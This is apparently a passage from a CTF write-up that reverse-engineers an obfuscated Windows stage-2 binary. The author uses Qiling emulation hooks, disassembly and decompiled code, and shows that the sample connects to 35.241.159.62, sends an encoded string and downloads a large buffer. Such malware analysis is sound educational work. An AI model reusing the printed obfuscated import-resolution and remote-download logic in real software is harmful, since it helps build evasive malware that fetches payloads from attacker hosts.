from qiling.os.windows.utils import *
from capstone import *
from pwn import *

"""
struct sockaddr {
        ushort  sa_family;
        char    sa_data[14];
};
"""
class Sockaddr(WindowsStruct):
    def __init__(self, ql, family=None, data=None):
        super().__init__(ql)
        self.family = [family, self.USHORT_SIZE, "little", int]
        self.data = [data, 14, "little", bytes]

        self.size = self.USHORT_SIZE + len(self.data)

    def write(self, addr):
        super().generic_write(addr, [self.family, self.data])

    def read(self, addr):
        super().generic_read(addr, [self.family, self.data])

"""
typedef struct addrinfo {
  int             ai_flags;
  int             ai_family;
  int             ai_socktype;
  int             ai_protocol;
  size_t          ai_addrlen;
  char            *ai_canonname;
  struct sockaddr *ai_addr;
  struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA;
"""
class AddrInfoA(WindowsStruct):
    def __init__(self, ql, flags=None, family=None, socktype=None, protocol=None, addrlen=None, canonname=None, addr=None, nextinfo=None):
        super().__init__(ql)
        self.flags = [flags, self.DWORD_SIZE, "little", int]
        self.family = [family, self.DWORD_SIZE, "little", int]
        self.socktype = [socktype, self.DWORD_SIZE, "little", int]
        self.protocol = [protocol, self.DWORD_SIZE, "little", int]
        self.addrlen = [addrlen, self.DWORD_SIZE, "little", int]
        self.canonname = [canonname, self.POINTER_SIZE, "little", int]
        self.addr = [addr, self.POINTER_SIZE, "little", int]
        self.nextinfo = [nextinfo, self.POINTER_SIZE, "little", int]

        self.size = self.DWORD_SIZE * 5  + self.POINTER_SIZE * 3

    def write(self, addr):
        super().generic_write(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])

    def read(self, addr):
        super().generic_read(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])

"""
INT WSAAPI getaddrinfo(
    PCSTR           pNodeName,
    PCSTR           pServiceName,
    const ADDRINFOA *pHints,
    PADDRINFOA      *ppResult
);
"""
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pNodeName": POINTER, "pServiceName": POINTER, "pHints": POINTER, "ppResult": POINTER})
def hook_getaddrinfo(ql, address, params):
    address = ql.os.read_cstring(params["pNodeName"])
    info(f"getaddrinfo called with address: {address}")

    hints = AddrInfoA(ql)
    hints.read(params["pHints"])
    info("getaddrinfo called with pHints:")
    # We could write some logic to actually unpack the hints struct here,
    # but it's simpler to just get a hexdump of it for now.
    info(hexdump(ql.mem.read(hints.addr, hints.size)))

    # 35.241.159.62, all packed up as a binary value
    addrinfo_data = b"\\x23\\xf1\\x9f\\x3e"

    sockaddr = Sockaddr(ql, 2, addrinfo_data + b'\\x00' * 10) # AF_INET
    sockaddr_addr = ql.os.heap.alloc(sockaddr.size)
    sockaddr.write(sockaddr_addr)

    # ppResult is a pointer to a pointer to an addrinfo result
    addrinfo = AddrInfoA(ql, 0, 2, 1, 6, 2 + len(addrinfo_data), 0, sockaddr_addr, 0)
    addrinfo_data_addr = ql.os.heap.alloc(addrinfo.size)
    addrinfo.write(addrinfo_data_addr)
    ql.mem.write(params["ppResult"], p32(addrinfo_data_addr))

    return 0

@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_WSACleanup(ql, address, params):
    return 0

def disassembly_cb(ql, address, size):
    # read current instruction bytes
    data = ql.mem.read(address, size)
    # initialize Capstone
    md = Cs(CS_ARCH_X86, CS_MODE_32)
    # disassemble current instruction
    for i in md.disasm(data, address):
        print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))

def qiling_run():
    ql = Qiling(argv=[".\\lnELKNdoie_getaddrinfo.exe"], rootfs="./qiling/examples/rootfs/x8664_windows")
    ql.hook_code(disassembly_cb)
    ql.set_api("getaddrinfo", hook_getaddrinfo, QL_INTERCEPT.CALL)
    ql.set_api("WSACleanup", hook_WSACleanup, QL_INTERCEPT.CALL)
    ql.run()

qiling_run()
[*] 0x004014c5: call eax
[*] getaddrinfo called with address: 35.241.159.62
[*] getaddrinfo called with pHints:
[*] 00000000  00 00 00 00  02 00 00 00  01 00 00 00  06 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000020
[=]     getaddrinfo(pNodeName = 0xffffc960, pServiceName = 0x0, pHints = 0xffffcb10, ppResult = 0x5000d2b) = 0x0
[*] 0x10378710: dec eax
[*] 0x004014c7: test eax, eax
[*] 0x004014c9: jne 0x401a6d
[*] 0x004014cf: mov dword ptr [ebp - 0x600], 0xe5603366
[*] 0x004014d9: lea eax, [ebp - 0x600]
[*] 0x004014df: mov dword ptr [ebp - 0x5fc], 0xa22713b2
[*] 0x004014e9: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x004014f3: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x004014fd: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401507: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x00401511: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x0040151b: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x00401525: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x0040152c: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x00401534: push eax
[*] 0x00401535: lea eax, [ebp - 0x640]
[*] 0x0040153b: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x00401542: push eax
[*] 0x00401543: call esi
[=]     LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x00401545: push eax
[*] 0x00401546: call dword ptr [0x408004]
[=]     GetProcAddress(hModule = 0x10375000, lpProcName = "socket") = 0x1037a5f0

All right! We got to trying to import socket.

Let’s take a moment to look at the value we dumped for the pHints argument of getaddrinfo - it should tell us some information about the protocol and socket type that the caller is requesting. I didn’t bother to write the struct unpacking logic here; we can just figure out what the relevant values are by inspecting the hexdump and comparing it against the definition for an addrinfo struct (which is the type of pHints):

typedef struct addrinfo {
  int             ai_flags;
  int             ai_family;
  int             ai_socktype;
  int             ai_protocol;
  size_t          ai_addrlen;
  char            *ai_canonname;
  struct sockaddr *ai_addr;
  struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA
[*] getaddrinfo called with address: 35.241.159.62
[*] getaddrinfo called with pHints:
[*] 00000000  00 00 00 00  02 00 00 00  01 00 00 00  06 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000020

The possible values of the family, socket type, and protocol fields are listed in the documentation for the addrinfo struct. Here, ai_flags = 0, ai_family = 2 (i.e. AF_INET), ai_socktype = 1 (i.e. SOCK_STREAM), and ai_protocol = 6 (i.e. IPPROTO_TCP). It looks like we’re setting up for establishing a TCP connection to 35.241.159.62.

Looking at the networking code #

At this point, let’s switch gears a bit and go back to static analysis again. We’ve established at this point that we’re probably making a TCP connection. When network programming with Berkeley sockets (which again, the Winsock2 API mostly follows), this is what you would typically do to make a TCP connection and talk over it:

  • Create a socket with socket.
  • Establish the connection with connect, passing it the handle to the newly created socket and the address + port information.
  • Send and receive over that connection with send and recv, using the socket handle.

If we look back at the disassembled / decompiled code in Cutter at this point, even though any imported function calls are still obfuscated via arguments to LoadLibraryA and GetProcAddress, we can still see the signatures of those functions when they are actually called! That is, we can match the number of arguments, infer the types of those arguments, and look at how the data output by the functions is used later on in the program. From there, we can match the function signatures to the functions in Winsock2 typically used for TCP connections, and make a pretty good guess about which function was imported and called each time.

Looking at the decompiled code in Cutter (which infers types and function signatures for us), we can see the familiar pattern of socket, connect, then send/recv emerge. I’ve annotated the decompilation output below with the signatures of each of those functions, at the places where I think those function calls occur:

    // SOCKET socket(int af, int type, int protocol)
            iVar5 = (*pcVar3)(*(undefined4 *)(pcStack1524 + 4), *(undefined4 *)(pcStack1524 + 8),
                              *(undefined4 *)(pcStack1524 + 0xc));
            uStack1072 = 0x8e035c15;
            uStack1068 = 0xa22767d7;
            uStack1064 = 0xcd82d7c6;
            uStack1060 = 0x2bbfde5a;
            in_stack_fffff920 = &uStack1616;
            auStack1552._0_12_ = CONCAT48(0xa2e4b9af, 0x7264646165657266) ^ (undefined  [12])0xcd82d7c6;
            auStack1552 = CONCAT412(0x2bbfde5a, auStack1552._0_12_) ^ (undefined  [16])0x2bbfde5a00000000;
            uVar2 = (*pcVar6)(in_stack_fffff920, auStack1552);
            pcStack1556 = (code *)(*_GetProcAddress)(uVar2);
            if (iVar5 == -1) {
                (*pcStack1556)(pcStack1524);
                (*pcStack1592)();
            } else {
                uStack1072 = 0x8e035c15;
                uStack1068 = 0xa22767d7;
                uStack1064 = 0xcd82d7c6;
                uStack1060 = 0x2bbfde5a;
                uStack1584 = 0x6e6e6f63;
                uStack1580 = 0x746365;
                uStack1576 = 0;
                uStack1572 = 0;
                uVar2 = (*pcVar6)(&uStack1616, &uStack1584);
                pcVar6 = (code *)(*_GetProcAddress)(uVar2);
    // int connect(SOCKET s, const sockaddr *name, int namelen)
                iVar7 = (*pcVar6)(iVar5, *(undefined4 *)(pcStack1588 + 0x18), *(undefined4 *)(pcStack1588 + 0x10));
                uStack1072 = 0x8e035c15;
                uStack1068 = 0xa22767d7;
                uStack1064 = 0xcd82d7c6;
                uStack1060 = 0x2bbfde5a;
                uStack1584 = 0x736f6c63;
                uStack1580 = 0x636f7365;
                uStack1576 = 0x74656b;
                uStack1572 = 0;
                uVar2 = (*_LoadLibraryA)(&uStack1616, &uStack1584);
                pcStack1588 = (code *)(*_GetProcAddress)(uVar2);
                if (iVar7 == -1) {
                    (*pcStack1588)(iVar5);
                } else {
                    (*pcStack1556)(pcStack1524);
                    pcVar6 = _LoadLibraryA;
                    uStack1088 = 0x8e035c15;
                    uStack1084 = 0xa22767d7;
                    uStack1080 = 0xcd82d7c6;
                    uStack1076 = 0x2bbfde5a;
                    uStack1680 = 0x4d44414b;
                    uStack1676 = 0x46414c4b;
                    uStack1672 = 0x534c3a44;
                    uStack1668 = 0x504f244d;
                    uStack1664 = 0x4c46404d;
                    uStack1660 = 0x4d463a4b;
                    uStack1656 = 0x40244e21;
                    uStack1652 = 0x244e;
                    uStack1072 = 0x8e035c15;
                    uStack1068 = 0xa22767d7;
                    uStack1064 = 0xcd82d7c6;
                    uStack1060 = 0x2bbfde5a;
                    auStack1552._0_12_ = CONCAT48(0xcd82d7c6, 0x646e6573) ^ (undefined  [12])0xcd82d7c6;
                    auStack1552 = CONCAT412(0x2bbfde5a, auStack1552._0_12_) ^ (undefined  [16])0x2bbfde5a00000000;
                    uVar2 = (*_LoadLibraryA)(&uStack1616, auStack1552);
                    pcVar3 = (code *)(*_GetProcAddress)(uVar2);
                    puVar8 = &uStack1680;
                    pcStack1556 = (code *)((int32_t)&uStack1680 + 1);
                    do {
                        cVar1 = *(char *)puVar8;
                        puVar8 = (undefined4 *)((int32_t)puVar8 + 1);
                    } while (cVar1 != '\\0');
    // int send(SOCKET s, const char *buf, int len, int flags);
                    iVar7 = (*pcVar3)(iVar5, &uStack1680,
                                      (undefined4 *)((int32_t)puVar8 - (int32_t)(code *)((int32_t)&uStack1680 + 1)), 0);
                    if (iVar7 != -1) {
                        auStack1552._0_12_ = CONCAT48(0xcd82d7c6, 0xa22767d7f8603967);
                        auStack1552 = CONCAT412(0x2bbfde5a, auStack1552._0_12_);
                        uStack1072 = 0x8e035c15;
                        uStack1068 = 0xa22767d7;
                        uStack1064 = 0xcd82d7c6;
                        uStack1060 = 0x2bbfde5a;
                        auStack1552 = CONCAT412(0x2bbfde5a, CONCAT48(0xcd82d7c6, 0xa22767d78e035c15)) ^ auStack1552;
                        uVar2 = (*pcVar6)(&uStack1616, auStack1552);
                        pcStack1640 = (code *)(*_GetProcAddress)(uVar2);
                        pcStack1556 = (code *)0x0;
                        do {
    // memset to 0 here tells us this is a receive buffer which we fill with some data
                            sub.VCRUNTIME140.dll_memset(auStack1048, 0, 0x400);
    // int recv(SOCKET s, char *buf, int len, int flags);
                            iVar7 = (*pcStack1640)(iVar5, auStack1048, 0x400, 0);
                            arg_ch = auStack1048;
                            fcn.00401a90(*(int32_t *)(iStack1636 + 4), (int32_t)arg_ch, (int32_t)(auStack1048 + iVar7));
                            pcStack1556 = pcStack1556 + iVar7;
    // 0x400 bytes at a time, fill to 0x6b200 bytes
                        } while (pcStack1556 < (code *)0x6b200);

At the end of the decompilation output here, it looks like we’re sending some data over the socket, then receiving some data back and filing a buffer with it.

We can now start write hook handlers for each of the functions that we identified above, and quite easily see the values of all the arguments that we’re passing to them:

from qiling import *
from qiling.const import *
from qiling.os.windows.const import *
from qiling.os.windows.fncc import *
from qiling.os.windows.structs import *
from qiling.os.windows.utils import *
from capstone import *
from pwn import *

"""
struct sockaddr {
        ushort  sa_family;
        char    sa_data[14];
};
"""
class Sockaddr(WindowsStruct):
    def __init__(self, ql, family=None, data=None):
        super().__init__(ql)
        self.family = [family, self.USHORT_SIZE, "little", int]
        self.data = [data, 14, "little", bytes]

        self.size = self.USHORT_SIZE + len(self.data)

    def write(self, addr):
        super().generic_write(addr, [self.family, self.data])

    def read(self, addr):
        super().generic_read(addr, [self.family, self.data])

"""
typedef struct addrinfo {
  int             ai_flags;
  int             ai_family;
  int             ai_socktype;
  int             ai_protocol;
  size_t          ai_addrlen;
  char            *ai_canonname;
  struct sockaddr *ai_addr;
  struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA;
"""
class AddrInfoA(WindowsStruct):
    def __init__(self, ql, flags=None, family=None, socktype=None, protocol=None, addrlen=None, canonname=None, addr=None, nextinfo=None):
        super().__init__(ql)
        self.flags = [flags, self.DWORD_SIZE, "little", int]
        self.family = [family, self.DWORD_SIZE, "little", int]
        self.socktype = [socktype, self.DWORD_SIZE, "little", int]
        self.protocol = [protocol, self.DWORD_SIZE, "little", int]
        self.addrlen = [addrlen, self.DWORD_SIZE, "little", int]
        self.canonname = [canonname, self.POINTER_SIZE, "little", int]
        self.addr = [addr, self.POINTER_SIZE, "little", int]
        self.nextinfo = [nextinfo, self.POINTER_SIZE, "little", int]

        self.size = self.DWORD_SIZE * 5  + self.POINTER_SIZE * 3

    def write(self, addr):
        super().generic_write(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])

    def read(self, addr):
        super().generic_read(addr, [self.flags, self.family, self.socktype, self.protocol, self.addrlen, self.canonname, self.addr, self.nextinfo])

"""
INT WSAAPI getaddrinfo(
    PCSTR           pNodeName,
    PCSTR           pServiceName,
    const ADDRINFOA *pHints,
    PADDRINFOA      *ppResult
);
"""
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pNodeName": POINTER, "pServiceName": POINTER, "pHints": POINTER, "ppResult": POINTER})
def hook_getaddrinfo(ql, address, params):
    address = ql.os.read_cstring(params["pNodeName"])
    info(f"getaddrinfo called with address: {address}")
    info("getaddrinfo called with pointer pServiceName: {}".format(params["pServiceName"]))
    if params["pServiceName"]:
        port = ql.os.read_cstring(params["pServiceName"])
        info(f"getaddrinfo called with port: {port}")

    hints = AddrInfoA(ql)
    hints.read(params["pHints"])
    info("getaddrinfo called with pHints:")
    # We could write some logic to actually unpack the hints struct here,
    # but it's simpler to just get a hexdump of it for now.
    info(hexdump(ql.mem.read(hints.addr, hints.size)))

    info("getaddrinfo called with ppResult at 0x{:x}".format(params["ppResult"]))
    addrinfo_addr = ql.mem.read(params["ppResult"], 4)
    if addrinfo_addr:
        info(f"ppResult resolves to the ADDRINFOA pointer: {u32(addrinfo_addr)}")

    # 35.241.159.62, all packed up as a binary value
    addrinfo_data = b"\\x23\\xf1\\x9f\\x3e"
    # treat this as a sockaddr_in. For now, set the port to 0.
    sockaddr = Sockaddr(ql, 2, b'\\x00' * 2 + addrinfo_data + b'\\x00' * 8)
    sockaddr_addr = ql.os.heap.alloc(sockaddr.size)
    sockaddr.write(sockaddr_addr)

    addrinfo = AddrInfoA(ql, 0, 2, 1, 6, 2 + len(addrinfo_data), 0, sockaddr_addr, 0)
    addrinfo_data_addr = ql.os.heap.alloc(addrinfo.size)
    addrinfo.write(addrinfo_data_addr)
    ql.mem.write(params["ppResult"], p32(addrinfo_data_addr))

    info("getaddrinfo returning with ppResult at 0x{:x}, following in ppResult:".format(params["ppResult"]))
    resolved_result_addr = u32(ql.mem.read(params["ppResult"], 4))
    info(f"0x{resolved_result_addr:x}")
    info("getaddrinfo returning with following returned addrinfo:")
    info(hexdump(ql.mem.read(resolved_result_addr, addrinfo.size)))

    return 0

@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_WSACleanup(ql, address, params):
    return 0

@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_socket(ql, address, params):
    return 0

@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pAddrInfo": POINTER})
def hook_freeaddrinfo(ql, address, params):
    pass

@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"s": INT, "buf": POINTER, "len": INT, "flags": INT})
def hook_send(ql, address, params):
    info(hexdump(ql.mem.read(params["buf"], params["len"])))

# Even though Qiling provides an implementation for connect,
# I had trouble with getting the built-in Qiling log output to show here.
# Therefore, here I copied Qiling's hook_connect implementation,
# but just replaced Qiling's logging functions with pwntools' logging functions.
# int WSAAPI connect(
#  SOCKET         s,
#  const sockaddr *name,
#  int            namelen
# );
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll")
def hook_connect(ql, address, params):
    sin_family = ql.mem.read(params["name"], 1)[0]
    sin_port = int.from_bytes(ql.mem.read(params["name"] + 2, 2), byteorder="big")

    if sin_family == 0x17:  # IPv6
        segments = list(map("{:02x}".format, ql.mem.read(params["name"] + 8, 16)))
        sin_addr = ":".join(["".join(x) for x in zip(segments[0::2], segments[1::2])])
    elif sin_family == 0x2:  # IPv4
        sin_addr = ".".join(
            [str(octet) for octet in ql.mem.read(params["name"] + 4, 4)]
        )
    else:
        info("sockaddr sin_family unhandled variant")
        return 0

    info(f"0x{params['name']:08x}: sockaddr_in{6 if sin_family == 0x17 else ''}" +
              f"{{sin_family=0x{sin_family:02x}, sin_port={sin_port}, sin_addr={sin_addr}}}",
              )
    return 0

def disassembly_cb(ql, address, size):
    # read current instruction bytes
    data = ql.mem.read(address, size)
    # initialize Capstone
    md = Cs(CS_ARCH_X86, CS_MODE_32)
    # disassemble current instruction
    for i in md.disasm(data, address):
        print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))

def qiling_run():
    ql = Qiling(argv=[".\\lnELKNdoie_getaddrinfo.exe"], rootfs="./qiling/examples/rootfs/x8664_windows")
    ql.hook_code(disassembly_cb)
    ql.set_api("getaddrinfo", hook_getaddrinfo, QL_INTERCEPT.CALL)
    ql.set_api("WSACleanup", hook_WSACleanup, QL_INTERCEPT.CALL)
    ql.set_api("socket", hook_socket, QL_INTERCEPT.CALL)
    ql.set_api("connect", hook_connect, QL_INTERCEPT.CALL)
    ql.set_api("freeaddrinfo", hook_freeaddrinfo, QL_INTERCEPT.CALL)
    ql.set_api("send", hook_send, QL_INTERCEPT.CALL)
    ql.run()

qiling_run()

We now get all the way to the connect call!

[=]     LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x00401676: push eax
[*] 0x00401677: call dword ptr [0x408004]
[=]     GetProcAddress(hModule = 0x10375000, lpProcName = "connect") = 0x10386a50
[*] 0x10210ec0: dec esp
[*] 0x0040167d: mov ecx, dword ptr [ebp - 0x624]
[*] 0x00401683: push dword ptr [ecx + 0x10]
[*] 0x00401686: push dword ptr [ecx + 0x18]
[*] 0x00401689: push edi
[*] 0x0040168a: call eax
[*] 0x05000d25: sockaddr_in{sin_family=0x02, sin_port=0, sin_addr=35.241.159.62}
[=]     connect(s = 0x0, name = 0x5000d25, namelen = 0x6) = 0x0

Port 0 isn’t a valid port number to pass to connect; we’ll come back to this later. Proceeding further, we see the contents of the buffer that the program is sending, from the hexdump produced by our send hook. Immediately after, we see the memset call to clear the receive buffer and the subsequent call to recv:

[*] 0x004018a8: call edx
[*] 00000000  4b 41 44 4d  4b 4c 41 46  44 3a 4c 53  4d 24 4f 50  │KADM│KLAF│D:LS│M$OP│
    00000010  4d 40 46 4c  4b 3a 46 4d  21 4e 24 40  4e 24        │M@FL│K:FM│!N$@│N$│
    0000001e
[=]     send(s = 0x0, buf = 0xffffc8e0, len = 0x1e, flags = 0x0)
[*] 0x10377320: dec eax
[*] 0x004018aa: cmp eax, -1
[*] 0x004018ad: je 0x401a5e
[*] 0x004018b3: mov dword ptr [ebp - 0x600], 0xf8603967
[*] 0x004018bd: lea eax, [ebp - 0x600]
[*] 0x004018c3: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x004018cd: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x004018d7: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x004018e1: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x004018eb: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x004018f5: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004018ff: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x00401909: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x00401910: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x00401918: push eax
[*] 0x00401919: lea eax, [ebp - 0x640]
[*] 0x0040191f: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x00401926: push eax
[*] 0x00401927: call esi
[=]     LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x00401929: push eax
[*] 0x0040192a: call dword ptr [0x408004]
[=]     GetProcAddress(hModule = 0x10375000, lpProcName = "recv") = 0x10386d90
[*] 0x10210ec0: dec esp
[*] 0x00401930: mov dword ptr [ebp - 0x658], eax
[*] 0x00401936: mov dword ptr [ebp - 0x604], 0
[*] 0x00401940: push 0x400
[*] 0x00401945: lea eax, [ebp - 0x408]
[*] 0x0040194b: push 0
[*] 0x0040194d: push eax
[*] 0x0040194e: call 0x40759b
[*] 0x0040759b: jmp dword ptr [0x40806c]
[=]     memset(dest = 0xffffcb58, c = 0x0, count = 0x400) = 0xffffcb58
[*] 0x10346700: dec esp
[*] 0x00401953: add esp, 0xc
[*] 0x00401956: lea eax, [ebp - 0x408]
[*] 0x0040195c: push 0
[*] 0x0040195e: push 0x400
[*] 0x00401963: push eax
[*] 0x00401964: push edi
[*] 0x00401965: call dword ptr [ebp - 0x658]
[!]     recv is not implemented
[*] 0x10386d90: dec eax
[*] 0x10386d91: mov dword ptr [esp + 8], ebx
[*] 0x10386d95: dec eax
[*] 0x10386d96: mov dword ptr [esp + 0x10], esi
[*] 0x10386d9a: inc esp
[*] 0x10386d9b: mov dword ptr [esp + 0x20], ecx
[*] 0x10386d9f: push ebp
[*] 0x10386da0: push edi
[*] 0x10386da1: inc ecx
[*] 0x10386da2: push esi
[*] 0x10386da3: dec eax
[*] 0x10386da4: mov ebp, esp
[*] 0x10386da6: dec eax
[*] 0x10386da7: sub esp, 0x80
[*] 0x10386dad: dec eax
[*] 0x10386dae: mov eax, dword ptr [0x4024c]
# crash past this point because recv doesn't have a hook...

We now know that this stage 2 executable does the following:

  • Make a TCP connection to 35.241.159.62, at some yet-unknown port number.
  • Send the string KADMKLAFD:LSM$OPM@FLK:FM!N$@N$ over that connection.
  • Repeatedly receive data over that connection into a buffer.

Getting the port number #

This is the part that I really struggled with during the CTF, and which I didn’t end up solving successfully during the CTF. I referred to the great writeup by team ret2school for this challenge for some portions of this section.

The port number that the program ultimately connects to is provided as the second argument to the connect function, as a sockaddr struct. There are several different variations of this struct, depending on the address family used; the struct may be interpreted as any of those variations. Since this is an IPv4 connection, we can actually interpret this as a sockaddr_in struct, which holds a port number as one of its arguments:

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);

struct sockaddr_in {
  short   sin_family;
  u_short sin_port;
  struct  in_addr sin_addr;
  char    sin_zero[8];
};

In the program, there are a couple of possibilities for where the sin_port field of the sockaddr_in that’s passed into the connect call is filled out:

  • It could have been filled out during our initial getaddrinfo call. In getaddrinfo, the second argument, pServiceName, can optionally contain a string specifying either a service name which has a well-known port number (e.g. “http” will be treated as an alias for port 80), or a port number. In either case, the sockaddr *ai_addr field of the addrinfo returned in the ppResult out-param will contain the specified port number.

    INT WSAAPI getaddrinfo(
      PCSTR           pNodeName,
      PCSTR           pServiceName,
      const ADDRINFOA *pHints,
      PADDRINFOA      *ppResult
    );
    
    typedef struct addrinfo {
      int             ai_flags;
      int             ai_family;
      int             ai_socktype;
      int             ai_protocol;
      size_t          ai_addrlen;
      char            *ai_canonname;
      struct sockaddr *ai_addr;
      struct addrinfo *ai_next;
    } ADDRINFOA, *PADDRINFOA;
    
  • It could have been filled out some time in between the getaddrinfo and the connect call. Since the pServiceName argument for getaddrinfo is optional, a program using getaddrinfo can just use it to do hostname resolution or as a convenient way to create an addrinfo struct for later use; the program can fill in the port number in that addrinfo struct later.

We can easily check whether the second possibility is the case, again by using the Qiling hook we wrote for getaddrinfo. Let’s try hardcoding a fake port number, say 7777 (0x1e61), in the ppResult that we output from the hook, and seeing if that same port number shows up when we get to the connect call:

    # 35.241.159.62, all packed up as a binary value
    addrinfo_data = b"\\x23\\xf1\\x9f\\x3e"
    # treat this as a sockaddr_in, hardcode the port to 7777 (0x1e61)
    sockaddr = Sockaddr(ql, 2, b'\\x1e\\x61' + addrinfo_data + b'\\x00' * 8)
    sockaddr_addr = ql.os.heap.alloc(sockaddr.size)
    sockaddr.write(sockaddr_addr)

(Note that port numbers are in big endian (i.e. network byte order) in addrinfo structs.)

When we run this again, we see that the port number provided to the connect call is exactly the same as the one we provided from the getaddrinfo hook:

[*] 0x0040168a: call eax
[*] 0x05000d25: sockaddr_in{sin_family=0x02, sin_port=7777, sin_addr=35.241.159.62}
[=]     connect(s = 0x2a, name = 0x5000d25, namelen = 0x10)

Therefore, we must be providing the port in the getaddrinfo call. But how are we doing it?We can see even from the very first time when we printed the params to the getaddrinfo call (back when we first implemented the hook), that the pServiceName param isn’t a valid pointer:

[=]     getaddrinfo(pNodeName = 0xffffc960, pServiceName = 0x0, pHints = 0xffffcb10, ppResult = 0xffffc97c)

This is weird. Where does our port number come from, then?

Let’s switch gears again back to static analysis. Let’s take a look, in the disassembly, at the arguments being passed to that first getaddrinfo:

[*] 0x10210ec0: dec esp
[*] 0x00401444: lea ecx, [ebp - 0x5e4]
[*] 0x0040144a: mov dword ptr [ebp - 0x600], 0xbc2d6926
[*] 0x00401454: push ecx
[*] 0x00401455: lea ecx, [ebp - 0x450]
[*] 0x0040145b: mov dword ptr [ebp - 0x5fc], 0x930956e3
[*] 0x00401465: push ecx
[*] 0x00401466: push dword ptr [0x40a3f8]
[*] 0x0040146c: mov dword ptr [ebp - 0x5f8], 0xfbaceef3
[*] 0x00401476: lea ecx, [ebp - 0x600]
[*] 0x0040147c: mov dword ptr [ebp - 0x5f4], 0x2bbfde68
[*] 0x00401486: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401490: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x0040149a: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004014a4: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x004014ae: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x004014b5: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004014bd: push ecx
[*] 0x004014be: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x004014c5: call eax

char* pServiceName is our second parameter, so it’s filled in by the instruction at 0x00401466: push dword ptr [0x40a3f8].

There is one other place where the address 0x40a3f8 is being referenced, in some code at the very beginning of our .text section:

;-- section..text:
0x00401000      push ebp           ; [00] -r-x section size 28672 named .text
0x00401001      mov ebp, esp
0x00401003      and esp, 0xfffffff0
0x00401006      sub esp, 0x20
0x00401009      mov dword [esp], 0xb9306f24
0x00401010      lea eax, [esp]
0x00401013      mov dword [esp + 4], 0xa22767d7
0x0040101b      mov dword [esp + 8], 0xcd82d7c6
0x00401023      mov dword [esp + 0xc], 0x2bbfde5a
0x0040102b      mov dword [esp + 0x10], 0x8e035c15
0x00401033      mov dword [esp + 0x14], 0xa22767d7
0x0040103b      mov dword [esp + 0x18], 0xcd82d7c6
0x00401043      mov dword [esp + 0x1c], 0x2bbfde5a
0x0040104b      movaps xmm1, xmmword [esp + 0x10]
0x00401050      pxor xmm1, xmmword [esp]
0x00401055      movaps xmmword [esp], xmm1
0x00401059      mov dword [0x40a3f8], eax
0x0040105e      mov esp, ebp
0x00401060      pop ebp

But how do we get here in the first place? This is where I got quite stuck, and had to look at ret2school’s writeup.

As part of the Microsoft Visual C++ runtime initialization, a function called __initterm gets called. This function is handed a table of function pointers, and calls each of those function pointers as part of program initialization.

void __cdecl _initterm(
   PVFV *,
   PVFV *
);

The first argument is a pointer to the beginning of the function pointer table, and the second argument is a pointer to the end of the function pointer table. Looking at the call to __initterm in our disassembly, we can see right away what the values of those arguments are (no more obfuscation at this point, thankfully):

0x00406b0e      push 0x408114
0x00406b13      push 0x408108
0x00406b18      call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm

The function pointer table spans here from 0x408108 to 0x408114. If we take a hexdump of the secion spanning those memory locations in the binary, we can see the contents:

0x408108  00 00 00 00 8f 6a 40 00  |.....j@.|
0x408110  00 10 40 00 00 00 00 00  |..@.....|

There’s 2 entries here:

